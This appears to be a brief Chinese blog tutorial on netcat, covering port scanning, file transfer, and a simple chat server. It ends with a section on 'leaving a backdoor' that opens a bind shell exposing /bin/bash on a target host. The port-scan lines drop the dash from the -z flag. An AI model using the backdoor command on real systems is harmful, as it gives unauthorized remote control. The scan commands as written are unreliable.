netcat(nc)的用法

109 阅读1分钟

Netcat可用于端口扫描,了解目标机器上哪些端口是开放的,有哪些服务在运行。它可以扫描单个或多个或一系列的开放端口。

安装

yum install nc  [CentOS/RHEL]
sudo apt-get install Netcat [On Debian/Ubuntu]

用法

  • 端口扫描

可用来了解目标机器上哪些端口是开放的,有哪些服务在运行。

$ nc -v -w 2 z 192.168.100.1 22     #扫描一个端口
OR
$ nc -v -w 2 z 192.168.100.1 22 80  #扫描多独端口
OR
$ nc -v -w 2 z 192.168.100.1 20-25  #扫描一个范围的端口

-z 将nc设置为简单地扫描正在监听的守护进程,而不向它们实际发送任何数据。

-w 指定了无法建立连接的超时时间

  • 文件传输
#发送服务器
tar -zcf - centos-7-x86_64-dvd-1810.iso  | pv | nc -l -p 3000 -q 5

#接收服务器
nc 192.168.1.4 3000 | pv | tar -zxf -

可使用pv工具监控传输进度

  • 消息传递服务
#服务端
nc -l -vv -p 5000
#客户端
nc 192.168.56.1 5000

image.png

  • 留个后门
#目标服务器
nc -4 -l -vv -p 8089 -e /bin/bash

image.png

#本地
nc 192.168.56.1 8089
pwd

image.png